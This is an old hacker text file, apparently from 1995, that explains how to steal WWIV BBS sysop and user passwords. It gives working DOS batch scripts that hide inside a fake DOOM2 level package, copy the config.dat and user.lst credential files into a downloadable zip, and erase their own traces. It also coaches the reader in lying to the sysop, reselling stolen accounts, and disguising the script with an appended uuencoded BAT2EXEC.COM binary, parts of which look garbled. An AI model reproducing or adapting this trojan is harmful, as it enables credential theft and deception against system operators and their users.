Subject: HOW TO HACK WWIV (UPDATE) Hacking passwords out of WWIV software really isn't that difficult. All you have to do is write a *.com file to do it all for you. Here is the way I like to do it: Before we begin you should find some sort of file you want to upload onto the WWIV BBS. I usually use a DOOM or DOOM2 *.WAD file because everyone loves DOOM and there are so many files that usually noone notices a new one. What you'll want to do is create a *.TXT file for your *.WAD file (usually they come with the WAD file) which describes the external level. At the bot- tom of the file you'll want to edit it to say that this WAD file has been password protected to keep from being modified, but that there is a COM file included that <> be run if it is to be uploaded onto a BBS for others to download. Now it is time to write a batch file. You'll also want to make some B.S. by E-mailing the Sysop that even if they don't have DOOM2 that this file <> be in a directory called DOOM2. <> To write a Batch file (*.BAT) all you need is the EDIT command at the DOS prompt. Call the file whatever the name of the WAD is. EX: Maze.bat. Now you will want to type in what you want the batch file to do. Here is the way that I do it: @echo off copy c:\wwiv\config.dat c:\wwiv\maze1.txt attrib -r c:\wwiv\maze1.txt pkzip c:\doom2\maze.zip -a c:\wwiv\maze1.txt del c:\wwiv\maze1.txt copy c:\wwiv\data\user.lst c:\wwiv\data\mazedoc.txt attrib -r c:\wwiv\data\mazedoc.txt pkzip c:\doom2\maze.zip -a c:\wwiv\data\mazedoc.txt del c:\wwiv\data\mazedoc.txt pkzip c:\doom2\maze.zip -d maze.com del maze.com cd\doom2 doom2 -file maze.wad The first line makes it so the person who's files you are going to hack can't see the commands the BATCH file is doing. The second line makes a copy of the CONFIG.DAT file in the WWIV directory so you can download it. This file contains the SYSTEM PASSWORD which is needed to gain SYSOP access to the BBS...REMEMBER: This program hacks the files on the person's computer on which the BBS is located to give you the account names and passwords. The third line removes the READ ONLY attribute to the copy of the CONFIG.DAT file so you can delete it later. The forth line puts the new CONFIG.DAT file into the original *.ZIP file that you uploaded to the BBS. This is where the need for telling the SYSOP that when they see PKZIP running that all it is doing is removing the password protection on the *.zip file. If you don't tell them this, they will get curios as to why PKZIP was running and they may find you out. The fifth line deletes the copy of the CONFIG.DAT file you made. The sixth - ninth line are doing much of the same thing as the second through fifth line only this time it is retreaving the file with the USER pas- swords and account names. The tenth line removes the *.com file from the original *.zip file you uploaded so that other BBS users cannot see what you did if they also download the file. The eleventh line deletes the *.com file that is running all this. The twelvth through thirteenth lines just run DOOM2 with the new WAD file running. If the Sysop doesn't have DOOM2 that's ok and the program will just end after the eleventh line. To make this BATCH file into a COM file you are going to need a program called BAT2EXEC.COM. It has been included at the bottom. You don't have to do this, but if the sysop decides to look at the BATCH file before they run it...You're Screwed!!! Ok. Now that you have the *.com file written and modified to your specific file zip the files *.WAD, *.TXT, and *.COM file into the file that you specified in your COM file. Now just upload the file and E-mail the sysop all the crap about the file needs to be run like this and that. NOTE: Tell the sysop to unzip the file in their DOOM2 directory and then run the COM file. After they run it just put the original *.zip file on the BBS for others to download. If you get a chance to upload the file to a directory other than SYSOP than check the file to see how big it is before you leave the BBS. Reme- mber that number and check the file everynow and again to see if it has increased in size. If it has, download it and use a HEX editor to read the files that the *.com file retrieved from the WWIV system. After you get the file reupload the WAD file and tell the SYSOP to delete the old zipped file and to replace it with this newer (yea right) version of the file. This way, no one else can download the file and also get all the passwords. That's it. Have Phun. This works almost everytime if you do it right. After I get all the passwords, I like selling certain account names and numbers to my friends... Cha-Ching!!! Ok. Ok. I'll tell you how to do it without having to tell the sysop to make sure that pkzip is in their DOS directory. First upload Pkzip to the BBS. Remember the name of the area you uploaded it to. If the name of the area is COMPRESSION then on the person's computer to whom the files are on the directory which contains those files is probably called COMPRESSION or COMP. Note: Because you have to guess at the name of the directory, this is not a sure fire way. Next, find a zipped file somewhere on the BBS, preferably on that is in the same directory as the PKZIP.EXE file. Now you're going to have to write another BATCH file...(YEA). Here is the way I did it: @echo off cd\wwiv copy config.dat trog.txt attrib trog.txt -r cd\wwiv\dloads\upload pkzip trog.zip -a c:\wwiv\trog.txt cd\wwiv del trog.txt cd\wwiv\data copy user.lst trog.doc attrib -r trog.doc cd\wwiv\dloads\upload pkzip trog.zip -a c:\wwiv\data\trog.doc cd\wwiv\data del trog.doc cd\wwiv\dloads\upload kewl I'm not going to explain this one...you can probably figure it out. The way to do this tecnique is to write (or get for you non-program- ming literate) a stupid little program. <<>> I wrote a program called "KEWL" hence the last line of the BATCH file. I also called the BATCH file (which I turned into a COM file) "KEWL.COM". I then uploaded these file onto a WWIV BBS and gave the SYSOP crap about how the only way to run the file "KEWL.EXE" I uploaded, was to use the COM file. Oh yea. One more thing. In the BATCH file above, TROG.ZIP is the zipped file that I chose to put the neccasary file in. One last thing. After you download the file with the files in it...since you didn't originally upload it there is no "upgrade" right...WRONG...just upload something with the same file name (or slightly different like TROG2.ZIP) and tell the sysop to delete the old one. Who cares if its the real thing or not. MS El Queso Es Vejo y Podrido...Donde Esta El Bao? I can be reached at MiSeRy42@aol.com Disclamer: MS claims absolutly NO respnsibility for getting caught... don't blame me for your stupidity... Copyright 1995 Cd Pw Inc. The following is the file BAT2EXEC.COM...It has been UUENCODED...to unencode it you will need wither wincode or uudecode...if you don't know how to decode this once you have the utility...you are stupid... section 1 of uuencode 5.21 of file bat2exec.com begin 644 bat2exec.com MZ4%\D,2XA(2$```!47DU>4%\D,BXA(2$`C!L`!/__```N0T]-`"`@("`@ M("`@("`@("`-"D5R'0-"B1#86XG="!F M:6YD(&EN<'5T(&9I;&4D3F]T(&5N;W5G:"!M96UO"!E_B`/SI+J"`^G%`/.D*Q9/`B:)EA@`N``!`\Q195`BZ+#ED"*\K- M(1^T/LTA,L!0M$DNC@9-`LTABQZ'`H/[_W4$M#[-(5BT3,TA#A^#/HD"`'04 M4KJ=`NCC"*&)`NCR"+K,`^C7"%KHW`BP`>O`NPX`B@0\.G0ANPP`/"5T&HM$ M`3PZ=0B[#`"`_"!V"^A>`%>_6@'H&0!?4X/["'<(LP'H.!PQ`" M_Q?#408.!S/2"]%T(C/;5HO*\Z9>=06`/0!T&D,RP#A%_W4!3[D*`/*N@#T` M=>"[#0#Y!UG#@_L,<@.[#`#XZ_)0,\#K`U"T`5=6!AX'B_XSR:P\('8-Z`\` M7UC#/&%R"3QZ=PXDW_CK"3Q:=P0\07/U^<.`/EP"`'00 MQ@9<`@"[7AGHO@C;!H`^70(`=!#&!ET"`+L-&>BG!S/)Z,0&@#YA`@!T M%8L67P*Y`0"[@!GHC@?HK0;&!F$"`(`^9`(`=!F+%F(",]LSP.CR`,8&80(! MQ@9D`@")%E\"PU;HD?_&!EL"`(ONK#PB=03V%EL"@#Y;`@!U[CQ\=4#&1/\- MNV4"@#Y>`@!U`[MT`O867@(ST@L7=1.+URL63P*)%XUW`K0!Z-X%,L"JB19B M`L8&9`(!,]LSP.A6`.M1/#YU)C/;@#P^=0*L0U,RV^@,"(O7M`'HKP4RP*HK M%D\"6.@O`.B(`.N`/#QU'#+;Z.P'B]>T`>B/!3+`JBL63P+H0`#H:0#I8/\\ M#70#Z5G_^%[#5E"Y,0`+VW06NU01Z*,&4[L&`+DA`.B[!8O36[DR`+O$&.B- M!EOHJP7&!ET"`5[#5KD!``O;=!2[5!'H=`:[!@"Y(0#HC06+T[D"`+LP&>A@ M!NA_!<8&7`(!7L-7L""+_4ZJ._YR^U_#,MOH70>+SHO7O0``K0T@(#UN;W44 MK0P@/'1U#8#\('<(13+;Z#L'B\Z+\;,#Z#('+URL63P*T`NBQ!#+`J@O;6X@/L0%T%+M4$>C+URL63P*T`NB!!#+`J@O;6X@/N1``=!2[5!'H MJP6[!@"Y(0#HQ`2+T[D@`+OA%>B7!5N`XP\*RXO:6NBM!.MYD+H^`_GIG@"+ M\8O9ORX"Z&C]@_D*=1KSIG46NQ@64S+;Z'X&@#P]=1]&,MOHGF`,8&00(`_@9` M`C+;Z-\%<@V+[HO7*Q9/`JP\#74#Z=``/"AU]+0#Z&X#,L"JN1$`"]MT$[M4 M$>B;!+L,`+DA`.BT`XO3L1+_-DL"NT$6Z(0$B]\K'D\"QP4``$='Z)<#N0`" MZ)$#4/\V2P(RV^A^!7)\5JTEW]\]1$]>=7&S`>AL!7)J,MOH905R8U97B_ZS M`NA:!8O6B_6Y`P#SIG4&3T^X?W^K._IR[5]>Z)C[65M8BB`XO5*Q9/`HD60@*#P@*[!@"Y M(0#HK@*+T[DR`+LS%>B!`S/;@#Y``@!T!(L>0@+HDP+K%9"+_>@V`(O#!0(` M*P9/`KD``>A\`K,"Z&X$^,/YZ_Q&Z!D`@W\"_W4-H4L"B4<"LP+H5`3XP[IE M`_GK^>@F^X/Y"'8#N0@`B^^_4P*+WX,]_W0+40,?Z&(*68O]+W?C#B]A;`KL&`+DA M`.AT`;D"`(O3NVD4Z$<"Z&8!^,.]`@!6@\8$,]OH3P->B3`/C#N\`0Z&D!N0``Z(4`LP+H=P+XP[OT$.A6`;D``.AR`+,"Z&0"^,-. MK#P:=`0\#77W^,-2B]F#PP1045.+'^C-_UN)!X/#`EGB\%A:6<,>#A^T"L<@/L#=`V`^P%T M#'?H/"!VY.L(/#UT!#P@=]I.^,.X-!+_T(N&-!+_X',#Z13T<@/I#_3I#/2- MMC02B[8T$KXT$HV^-!*+OC02OS02```````````````````````````````` M`````````````5X``````.LZD$-O;7!I;&5D(&)Y($)!5#)%6$5#(#$N-0T* M4$,@36%G87II;F4@_B!$;W5G;&%S($)O;&EN9PT*&OR]7`&+;@"+I@(`BYX$ M`+1*S2&A+`")AAH`BYX``/_C``````4``````+@`3,TA```.``````"*%$8* MTG0&M`+-(>OSPP``,@``````Z!0`14-(3R!I!P@4`@\(%M`G-(<,``"P``````.@?`%-TGK!`K2=./XP_G#```B```` M`@`!$5/H``!;,M+_5_IR$?[.?@G^PO]7^G($Z^Q.^%O#^>O[``!A````!`"] M$2T24^@``%M75K3_K`K`=`D\)703JO[,=?(RP*I>7[/_*MR(7?];PZQ)/"5T MYSQ_=1)6B[8.`*P\`'0%JO[,=?9>ZP^*\(#N,'(.@/X)=PG_5_@*Y'6UZ\%. M0?]7^NOS``!H`````@`J$5/H!@!$3U,R6`!;458>OH``,\F*#$8^`K8?``KV M=2M0M##-(3P"6'<$C3?K(@97C@8L`#+`,_^Y`(#RKJYU^Z^+]U\'CAXL`.L% M_U?ZX?7EE;PP``+@````(`8Q)3Z```6QZY M_P!7B_Z+T;`E\JXKT4J+SU]1_U?Z<@JL"L!T!:K^S'7V7A];PP``1@`````` M4U%7!HZ&&@`S_XO>B_.+RO.F=!0RP+G___*N)H`]`'7KB_<&'_GK&8OW!A^L M/#UU^X`\`'3KK`K`<@0\('+W3O@'7UE;PP``8P$```H`:11P$!P4LA3[%5/H M,@``4$%42#U#3TU%6$5"050`````0F%D(&-O;6UA;F0@;W(@9FEL92!N86UE M#0H`+T,@`%N)=P^)?Q&+E@H`@\($QD,L"Y0`#RKD^`??]<=`.P M7*HSP*P]+BYU#OVP7+D2`/*N\J[\1^OLJHK@/%QU`_Y',3P`==Y/B]?]N04` ML"[RKOQU`T>+UXOZ7EKK)8!_,0!U"(MW#_]7]G,(C7<3_U?TZWNY20"L/"!V M!SPN=`.JXO2P+JJ-=P:Y`P"EI#+`JE)648OR_U?Z65Y:6EO#^>OX```A````!`"R%)(44^@``%N+_D^*AAX`'E#_5_HN M_U?X6!^(AAX`6\,``!@````"`&,24^@'`$-/35-014-;N@<`B_/_5_I;PP`` M>0``````4^@@``!$54U-62`@($9#0@``````1%5-35D@("!&0T(`````6QX& MB:8"`%=6B_=&C3^X`RG-(8U_$+@#*@;`"`@("`@("`@($QA8F5L(&YO="!F;W5N9`T*`%M7B_LSTKD(`*P\ M('8./&%R!B3?/%IW!*I"XNV+RHOSB[X8``/]4_]7^UI><@^+1P(+]G0#B0+# M6/]W`L.+VO]7^<,```D``````#/`"P1T`EM0PP``*```````5HO6B\&+WXO[ M@\<$B_*+R#@-=05'\Z9T#(,__W0$`Q_KY?GK`?A>PP``$@``````,\F*3/\Z M3?]U!O.F=0+XP_G#```5``````"+U[0:S2&+UC/)M$[-(7($@\<>^,,``"$` M`````#/`B]B*'(#K,'(1@/L)=PRZ"@#WXG(%`\-&Z^@XAAX`PP``KP````(` M*A%3Z"X````````````````````````````````````````````````````` M`````````%M6BWB98.`(EW`?A;P\<%``#'1P$``/GK\@``3P`` M````4P:A+``YAAH`=4$.!R:A%@"+T%!(CL`F@#X``$T'=2PF.Q86`'7FN1X` MCL`F`P8#`$".P":`/@``3740)CL6`0!T!.+GZP5`B88:``=;PP``;0$```8` M^!9P$&,24^@H````3W5T(&]F(&5N=FER;VYM96YT('-P86-E#0H`#0H`3F\@ M4&%T:`!;B\>&Q(@G4/]7]EA5!H#\`W4AN@0`_U?Z

-=R`.'^L#@^X%+O]7 M^`X?C7<=_U?XZ0,!N?\`,])6B_ZL"N1T'#P@=1BP/5>JK#P@=/L\/73WJ@K` M=`.LZ_A?ZQT*P'09/#UT%3QA<@8\>G<")-\\('8"_L:J_L+BPEZ(5P&*QC+V M"O9U``K`=28>+HZ>&@`S]HU_'8S)+O]7^!Y6CMF+]R[_5_A>'X`\`'7K'^F' M`(O&1RZ`/2!S`C/`4/]7^EH>!XO^>JZPLRP*H.!XUW`O]7 M^`==6\,``$$``````,>&$`#__XO6,\FX`CP+_W0"_L3-(7(IB]@+_W0+N`)" M,]*+RLTA$@#-(<,``"8``````,>&%`#__XO6N``]S2%R M%HF&%@!0M$4SV\TAB884`#/)6[1&S2'#```:``````"#OA0`_W02M$8SR8N> =%`#-(;0^BYX6`,TAPP``!P``````B]:T0